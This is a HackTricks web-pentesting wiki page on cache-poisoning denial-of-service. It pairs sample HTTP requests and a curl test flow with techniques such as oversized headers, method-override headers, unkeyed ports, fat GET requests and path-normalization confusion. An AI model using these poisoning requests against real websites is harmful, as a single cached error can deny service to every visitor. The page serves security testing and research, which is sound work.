cache-poisoning-to-dos.md (7844B)
1 --- 2 title: "Cache Poisoning to DoS" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/cache-deception/cache-poisoning-to-dos.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Cache Poisoning to DoS 14 15 > [!CAUTION] 16 > These techniques try to make the **origin return an error, a blank body, or a broken redirect** for a request that the **cache still considers valid/cacheable**. Once stored, the poisoned object can deny access to every user hitting the same cache key. 17 18 > [!TIP] 19 > Confirm CPDoS with the **lowest blast radius possible**: send a **baseline** request, then the **poisoning** request, and finally a **validation** request without the malicious input. Compare **status**, **body length**, and cache headers such as **`X-Cache`**, **`CF-Cache-Status`**, **`Cache-Status`**, or **`Age`**. If possible, use a sacrificial endpoint or an unkeyed cache buster first.<sup>[[2]](#references)</sup> 20 21 If the issue depends on **path confusion**, **static extensions/directories**, or other URL parser discrepancies, first check [Cache Poisoning via URL discrepancies](/hacktricks/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies). 22 23 ## Quick verification flow 24 25 ```bash 26 url='https://target.tld/app.js' 27 28 # 1) Baseline 29 curl -isk "$url" | egrep -i '^(HTTP/|x-cache:|cf-cache-status:|cache-status:|age:|content-length:)' 30 31 # 2) Poison attempt 32 curl -isk -H 'X-HTTP-Method-Override: HEAD' "$url" | egrep -i '^(HTTP/|x-cache:|cf-cache-status:|cache-status:|age:|content-length:)' 33 34 # 3) Validation 35 curl -isk "$url" | egrep -i '^(HTTP/|x-cache:|cf-cache-status:|cache-status:|age:|content-length:)' 36 ``` 37 38 ## Common cache poisoning-to-DoS primitives 39 40 ### HTTP Header Oversize (HHO) 41 42 Send a request with a header block that is **accepted by the cache** but **rejected by the origin**. If the resulting 4xx page is cached, later normal requests will get the cached error. 43 44 ```http 45 GET / HTTP/1.1 46 Host: redacted.com 47 X-Oversized-Header: Big-Value-00000000000000000000000000000000000000000000000000 48 ``` 49 50 This is especially interesting when the **CDN/header limit is larger than the origin/framework limit**.<sup>[[1]](#references)</sup> 51 52 ### HTTP Meta Character (HMC) & unexpected values 53 54 Send **control/meta characters** such as **`\0`**, **`\b`**, **`\r`**, or **`\n`**, or malformed values that the cache forwards but the origin refuses. Some origins also error on syntactically valid-but-unexpected values such as a bogus `Content-Type`. 55 56 ```http 57 GET / HTTP/1.1 58 Host: redacted.com 59 X-Metachar-Header: \0 60 ``` 61 62 ```http 63 GET /anas/repos HTTP/2 64 Host: redacted.com 65 Content-Type: HelloWorld 66 ``` 67 68 A badly configured parser may also fail on values such as `\:`.<sup>[[1]](#references)</sup> 69 70 ### Unkeyed header that triggers an error 71 72 Some backends return an error or denial page when they see specific headers, but the cache key doesn't vary on that header. 73 74 ```http 75 GET /app.js HTTP/2 76 Host: redacted.com 77 X-Amz-Website-Location-Redirect: someThing 78 79 HTTP/2 403 Forbidden 80 X-Cache: hit 81 82 Invalid Header 83 ``` 84 85 Also test `Forwarded`, `X-Forwarded-Host`, `X-Forwarded-Port`, and application-specific routing headers when they influence redirects or origin routing.<sup>[[2]](#references)</sup> 86 87 ### HTTP Method Override Attack (HMO) 88 89 If the application or middleware supports method override headers such as `X-HTTP-Method-Override`, `X-HTTP-Method`, or `X-Method-Override`, you may be able to transform a normal `GET` into an unsupported or body-less method at the origin while the cache still stores the response under the `GET` key. 90 91 ```http 92 GET /app.js HTTP/1.1 93 Host: redacted.com 94 X-HTTP-Method-Override: HEAD 95 ``` 96 97 `HEAD`, `TRACE`, `PUT`, `DELETE`, and `POST` are worth testing. `HEAD` is especially attractive because some stacks reply `200 OK` with `Content-Length: 0`, effectively blanking the asset for everyone.<sup>[[1]](#references)</sup> 98 99 ### Unkeyed Port 100 101 If the port in the `Host` header is reflected in the response but excluded from the cache key, it may be possible to poison a redirect to an unused port:<sup>[[2]](#references)</sup> 102 103 ```http 104 GET /index.html HTTP/1.1 105 Host: redacted.com:1 106 107 HTTP/1.1 301 Moved Permanently 108 Location: https://redacted.com:1/en/index.html 109 X-Cache: miss 110 ``` 111 112 ### Long Redirect DoS 113 114 If an unkeyed parameter is copied into a redirect target, you may be able to make the cache store a redirect that later resolves into `414 URI Too Large`, `431 Request Header Fields Too Large`, or another error on the follow-up request. 115 116 ```http 117 GET /login?x=veryLongUrl HTTP/1.1 118 Host: www.cloudflare.com 119 120 HTTP/1.1 301 Moved Permanently 121 Location: /login/?x=veryLongUrl 122 CF-Cache-Status: HIT 123 124 GET /login/?x=veryLongUrl HTTP/1.1 125 Host: www.cloudflare.com 126 127 HTTP/1.1 414 Request-URI Too Large 128 CF-Cache-Status: MISS 129 ``` 130 131 ### Host header case normalization 132 133 The `Host` header is case-insensitive, but some origins or routing layers still behave differently depending on casing. If the cache normalizes the host for the key while the origin uses the raw value, a mixed-case `Host` can poison the canonical cache bucket: 134 135 ```http 136 GET /img.png HTTP/1.1 137 Host: Cdn.redacted.com 138 139 HTTP/1.1 404 Not Found 140 X-Cache: miss 141 142 Not Found 143 ``` 144 145 ### Path normalization / static-rule confusion 146 147 Some caches normalize or classify the path differently from the origin. A path that looks cacheable to the front-end (`/assets/...`, `.css`, `.js`, dot-segments, encoded dots, delimiters) may map to a dynamic route on the origin that returns an error or blank response. If the static-looking key is cached, the dynamic endpoint becomes unavailable through that cache key. 148 149 ```http 150 GET /api/v1%2e1/user HTTP/1.1 151 Host: redacted.com 152 153 HTTP/1.1 404 Not Found 154 X-Cache: miss 155 156 Not Found 157 ``` 158 159 For delimiter/static-extension/static-directory tricks, see [Cache Poisoning via URL discrepancies](/hacktricks/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies). 160 161 ### Fat GET 162 163 Some caches/origins reject **`GET` with a body**, or the origin reads parameters from the body while the cache keys only on the URL. This can poison an error or unexpected response under the clean `GET` cache key. 164 165 ```http 166 GET /index.html HTTP/2 167 Host: redacted.com 168 Content-Length: 3 169 170 xyz 171 172 HTTP/2 403 Forbidden 173 X-Cache: hit 174 ``` 175 176 ### Framework / internal cache poisoning 177 178 Recent framework bugs showed that **CPDoS is not limited to classic 4xx/5xx cache poisoning at the CDN layer**. Internal framework caches or upstream CDNs may also store: 179 180 - a **`204 No Content`** response for a normally populated static/ISR page 181 - a **`200 OK`** response with **`Content-Length: 0`** 182 - a response that was supposed to stay **`private, no-store`** but is coerced into **`s-maxage`** / **`stale-while-revalidate`** 183 184 In practice, this means a single crafted request can blank an HTML page or JS asset without needing a traditional error page. When testing modern frameworks, compare the same endpoint with and without framework-specific cache/data headers and watch for changes in **`Cache-Control`**, **body length**, and shared-cache headers. If you are assessing a Next.js target, also check [the Next.js page](/hacktricks/network-services-pentesting/pentesting-web/nextjs) for framework-specific cache poisoning bugs.<sup>[[3]](#references)</sup> 185 186 ## References 187 188 - [1] [CPDoS.org – Cache-Poisoning Denial-of-Service (CPDoS) Attacks](https://cpdos.org/) 189 - [2] [Responsible denial of service with web cache poisoning](https://portswigger.net/research/responsible-denial-of-service-with-web-cache-poisoning) 190 - [3] [Next.JS vulnerability can lead to DoS via cache poisoning](https://github.com/advisories/GHSA-67rr-84xm-4c7r)